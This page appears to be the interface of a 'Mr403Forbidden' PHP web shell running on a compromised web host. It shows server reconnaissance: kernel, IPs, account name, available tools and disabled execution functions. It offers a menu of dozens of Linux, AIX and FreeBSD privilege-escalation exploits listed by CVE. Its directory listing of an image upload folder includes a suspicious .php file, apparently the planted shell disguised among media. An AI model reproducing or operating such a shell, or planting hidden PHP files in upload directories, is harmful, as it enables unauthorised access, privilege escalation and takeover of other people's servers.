./Mr403Forbidden
Information Server
System: Linux 94.45.167.72.host.secureserver.net 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
Software:Apache
PHP Version:7.4.33 PHP Os: Linux
Server IP:172.67.145.68
Your IP:216.73.216.87
User:godevadmin (1035) | Group: godevadmin (1013)
Safe Mode:OFF
MYSQL:OFF | PERL: OFF | PYTHON: OFF | WGET: OFF | CURL: ON | GCC: OFF | PKEXEC: OFF
Disable Function:
Software:
PHP Version:
Server IP:
Your IP:
User:
Safe Mode:
MYSQL:
Disable Function:
exec,passthru,shell_exec,system
CVE N/A | Sudo prompt overflow in v1.5.7 to 1.6.5p2
CVE-2003-0961 | Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation
CVE-2003-0127 | Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation
CVE-2003-0961 | Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
CVE-2004-0077 | Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation
CVE-2004-1235 | Linux Kernel 2.4.29-rc2 - 'uselib()' Local Privilege Escalation (1)
CVE N/A | Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation
CVE-2005-0736 | Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation
CVE-2005-1263 | Linux Kernel 2.2.x/2.3.x/2.4.x/2.5.x/2.6.x - ELF Core Dump Local Buffer Overflow
CVE-2006-2451 | Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation
CVE-2006-3626 | Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation
CVE N/A | Compress v4.2.4 local test exploit
CVE N/A | Local GNU Awk 3.1.0-x proof of concept exploit
EDB-ID-4756 | Linux Kernel < 2.6.11.5 Bluetooth Stack Localroot Exploit
CVE-2008-0600 | Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)
CVE-2008-0900 | Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)
CVE-2008-4210 | Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation
CVE-2009-1185 | Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)
CVE-2009-1337 | Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation CVE-2009-2692 | Linux Kernel 2.x (RedHat) - 'sock_sendpage()' Ring0 Privilege Escalation (1)
CVE-2009-2698 | Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
CVE-2009-3547 | Linux 2.6.x fs/pipe.c Local Privilege Escalation
CVE-2010-1146 | ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation
CVE-2010-2959 | Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation
CVE-2010-3081 | Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation
CVE-2010-3301 | Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation
CVE-2010-3437 | Linux Kernel < 2.6.36-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kernel Memory Disclosure
CVE-2010-3904 | Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
CVE-2010-4073 | Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation
CVE-2010-4258 | Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation
CVE-2010-4347 | Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation CVE-2011-1021 | Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation
CVE-2011-2777 | Acpid 1:
2.0.10-1ubuntu2 (Ubuntu 11.04/11.10) - Boundary Crossing Privilege Escalation
CVE-2011-1485 | pkexec - Race Condition Privilege Escalation
EDB-ID-18071 | Calibre E-Book Reader - Local Privilege Escalation
EDB-ID-17391 | Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation
EDB-ID-15944 | Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)
CVE-2012-0056 | Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation
CVE-2012-3524 | libdbus - 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation
CVE-2012-0809 | sudo 1.8.0 < 1.8.3p1 - Format String
CVE-2013-0268 | Linux Kernel 3.7.6 (RedHat x86/x64) - 'MSR' Driver Privilege Escalation
CVE-2013-1763 | Linux Kernel 3.3 < 3.8 (Ubuntu / Fedora 18) - 'sock_diag_handlers()' Local Privilege Escalation (3)
CVE-2013-1858 | Linux Kernel 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation
CVE-2013-2094 | Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2)
CVE-2014-0038 | Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)
CVE-2014-0196 | Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation
CVE-2014-3153 | Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation
CVE-2014-4014 | Linux Kernel 3.13 - SGID Privilege Escalation
CVE-2014-4699 | Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation
CVE-2014-5284 | OSSEC 2.8 - 'hosts.deny' Local Privilege Escalation CVE-2015-1328 | Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
CVE-2015-7547 | glibc - 'getaddrinfo' Stack Buffer Overflow (PoC) CVE-2016-0728 | Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Escalation (1)
CVE-2016-2384 | Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation
CVE-2016-5195 | Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
CVE-2016-8655 | Linux 4.4.0 < 4.4.0-53 - 'AF_PACKET chocobo_root' Local Privilege Escalation (Metasploit)
CVE-2016-9793 | Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation
CVE-2017-5123 | Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
CVE-2017-6074 | Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
CVE-2017-7308 | Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation
CVE-2017-7494 | Samba 3.5.0 - Remote Code Execution
CVE-2017-7533 | Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation
CVE-2017-16939 | Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation
CVE-2017-16995 | Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
CVE-2017-1000112 | Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)
CVE-2017-1000367 | Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation
CVE-2018-1000001 | glibc < 2.26 - 'getcwd()' Local Privilege Escalation
CVE-2019-7304 | snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)
CVE-2019-13272 | Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation
IBM AIX
CVE-2013-4011 - IBM AIX 6.1 / 7.1 Localroot Privilege Escalation
FreeBSD
EDB-ID-1311 | FreeBSD 4.x / < 5.4 - 'master.passwd' Disclosure
CVE-2008-3531 | FreeBSD 7.0/7.1 - 'vfs.usermount' Local Privilege Escalation
CVE-2008-5736 | FreeBSD 6.4 - Netgraph Privilege Escalation
CVE-2009-3527 | FreeBSD 6.4 - 'pipeclose()'/'knlist_cleardel()' Race Condition
CVE-2009-4146 | FreeBSD 8.0 Run-Time Link-Editor (RTLD) - Local Privilege Escalation
EDB-ID-9860 | FreeBSD 7.2 - VFS/devfs Race Condition
CVE-2010-2020 | FreeBSD 8.0/7.3/7.2 - 'nfs_mount()' Local Privilege Escalation
CVE-2010-2693 | FreeBSD - 'mbufs()' sendfile Cache Poisoning Privilege Escalation
CVE-2010-4210 | FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation
CVE-2011-4062 | FreeBSD - UIPC socket heap Overflow (PoC)
CVE-2011-4122 | OpenPAM - 'pam_start()' Local Privilege Escalation
CVE-2011-4862 | TelnetD encrypt_keyid - Function Pointer Overwrite
CVE-2012-0217 | FreeBSD 8.3 - 9.0 amd64 Privilege Escalation
EDB-ID-28718 | FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation
CVE-2013-2171 | FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation
| Name | Type | Last Edit | Size | Owner |
Permission | Action |
| .. | ||||||
| 1611569103-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1611569145-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1611570060-.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1611570086-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1611570106-.png | file | 2023-11-25 8:20 | 51.16 KB | godevadmin |
||
| 1611570132-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1611570159-.png | file | 2023-11-25 8:20 | 51.16 KB | godevadmin |
||
| 1611570174-.png | file | 2023-11-25 8:20 | 51.16 KB | godevadmin |
||
| 1611570186-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1611570199-.png | file | 2023-11-25 8:20 | 51.16 KB | godevadmin |
||
| 1611570216-.png | file | 2023-11-25 8:20 | 2.59 KB | godevadmin |
||
| 1611570379-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 16115712861.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1611571286d.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 16115713351.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1611571335d.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1612199707-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1612199720-.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1612199903-.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1612199916-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1612199950-.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1612252606e.png | file | 2023-11-25 8:20 | 275.8 KB | godevadmin |
||
| 16122526281.jpg | file | 2023-11-25 8:20 | 953.85 KB | godevadmin |
||
| 16122526796.jpg | file | 2023-11-25 8:20 | 11.17 KB | godevadmin |
||
| 1612252689-.png | file | 2023-11-25 8:20 | 15.16 KB | godevadmin |
||
| 1612252760d.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 16122574340.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 16122574730.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 16122574850.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 16122574980.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 16122575110.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 1612263972c.png | file | 2023-11-25 8:20 | 59.33 KB | godevadmin |
||
| 1612263972g.png | file | 2023-11-25 8:20 | 72.3 KB | godevadmin |
||
| 16123343070.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 1612334307s.png | file | 2023-11-25 8:20 | 175.25 KB | godevadmin |
||
| 16123364530.png | file | 2023-11-25 8:20 | 65.91 KB | godevadmin |
||
| 1612337785p.jpg | file | 2023-11-25 8:20 | 11.77 KB | godevadmin |
||
| 1612337870p.jpg | file | 2023-11-25 8:20 | 11.77 KB | godevadmin |
||
| 1612337898T.jpg | file | 2023-11-25 8:20 | 8.46 KB | godevadmin |
||
| 1612337931o.jpg | file | 2023-11-25 8:20 | 3.75 KB | godevadmin |
||
| 16123379550.png | file | 2023-11-25 8:20 | 82.11 KB | godevadmin |
||
| 16123379790.png | file | 2023-11-25 8:20 | 60.81 KB | godevadmin |
||
| 16123380080.png | file | 2023-11-25 8:20 | 68.46 KB | godevadmin |
||
| 16123380830.png | file | 2023-11-25 8:20 | 61.43 KB | godevadmin |
||
| 16123380832.jpg | file | 2023-11-25 8:20 | 5.94 KB | godevadmin |
||
| 16123381280.png | file | 2023-11-25 8:20 | 54.98 KB | godevadmin |
||
| 1612338128P.jpg | file | 2023-11-25 8:20 | 2.95 KB | godevadmin |
||
| 1612338192R.jpg | file | 2023-11-25 8:20 | 7.13 KB | godevadmin |
||
| 16123382380.png | file | 2023-11-25 8:20 | 86.64 KB | godevadmin |
||
| 1612338238a.jpg | file | 2023-11-25 8:20 | 9.11 KB | godevadmin |
||
| 16123382680.png | file | 2023-11-25 8:20 | 65.5 KB | godevadmin |
||
| 16123392290.png | file | 2023-11-25 8:20 | 66.1 KB | godevadmin |
||
| 1612339229o.jpg | file | 2023-11-25 8:20 | 7.7 KB | godevadmin |
||
| 16123393392.jpg | file | 2023-11-25 8:20 | 5.94 KB | godevadmin |
||
| 1612877611-.png | file | 2023-11-25 8:20 | 1.66 KB | godevadmin |
||
| 1612877611c.png | file | 2023-11-25 8:20 | 59.33 KB | godevadmin |
||
| Daily-Herald.png | file | 2023-11-25 8:20 | 47.24 KB | godevadmin |
||
| abc6.jpg | file | 2023-11-25 8:20 | 11.17 KB | godevadmin |
||
| abc7.jpg | file | 2023-11-25 8:20 | 12.35 KB | godevadmin |
||
| brand1704903909o.jpg | file | 2024-01-10 16:27 | 8.46 KB | godevadmin |
||
| brand1704904092o.jpg | file | 2024-01-10 16:30 | 8.46 KB | godevadmin |
||
| brand1704904296o.jpg | file | 2024-01-10 16:33 | 8.46 KB | godevadmin |
||
| brand1704904938o.jpg | file | 2024-01-10 16:44 | 8.46 KB | godevadmin |
||
| brand1704905457o.jpg | file | 2024-01-10 16:50 | 8.46 KB | godevadmin |
||
| brand17146450746.png | file | 2024-05-02 10:17 | 5.37 KB | godevadmin |
||
| brand17146708979.jpg | file | 2024-05-02 17:28 | 8.79 KB | godevadmin |
||
| brand1727843035o.svg | file | 2024-10-02 4:23 | 2.25 KB | godevadmin |
||
| brand17484216449.jpg | file | 2025-05-28 8:40 | 8.79 KB | godevadmin |
||
| brand1768321349).png | file | 2026-01-13 16:22 | 4.52 KB | godevadmin |
||
| brand1768321497s.png | file | 2026-01-13 16:24 | 46.94 KB | godevadmin |
||
| cbs8.jpg | file | 2023-11-25 8:20 | 4.24 KB | godevadmin |
||
| dh.jpg | file | 2023-11-25 8:20 | 6.26 KB | godevadmin |
||
| dj.jpg | file | 2023-11-25 8:20 | 3.49 KB | godevadmin |
||
| edge.jpg | file | 2023-11-25 8:20 | 13.69 KB | godevadmin |
||
| feature1704903909e.jpg | file | 2024-01-10 16:25 | 100.66 KB | godevadmin |
||
| feature1704904092e.jpg | file | 2024-01-10 16:28 | 100.66 KB | godevadmin |
||
| feature1704904296e.jpg | file | 2024-01-10 16:31 | 100.66 KB | godevadmin |
||
| feature1704904938e.jpg | file | 2024-01-10 16:42 | 100.66 KB | godevadmin |
||
| feature1704905457e.jpg | file | 2024-01-10 16:50 | 100.66 KB | godevadmin |
||
| feature17146450747.png | file | 2024-05-02 10:17 | 120.96 KB | godevadmin |
||
| feature17146708977.png | file | 2024-05-02 17:28 | 120.96 KB | godevadmin |
||
| feature1727848869e.png | file | 2024-10-02 6:01 | 376.88 KB | godevadmin |
||
| feature1748421976).png | file | 2025-05-28 8:46 | 211.04 KB | godevadmin |
||
| feature1758720828y.jpg | file | 2025-09-24 13:33 | 137.95 KB | godevadmin |
||
| feature1767392345s.jpg | file | 2026-01-02 22:19 | 14.1 KB | godevadmin |
||
| feature1767525597i.php | file | 2026-01-04 11:19 | 1.12 KB | godevadmin |
||
| feature1768321134.jpeg | file | 2026-01-13 16:18 | 167.53 KB | godevadmin |
||
| ibt.jpg | file | 2023-11-25 8:20 | 8.95 KB | godevadmin |
||
| yahoo-finanace.png | file | 2023-11-25 8:20 | 7.9 KB | godevadmin |
© ./Mr403Forbidden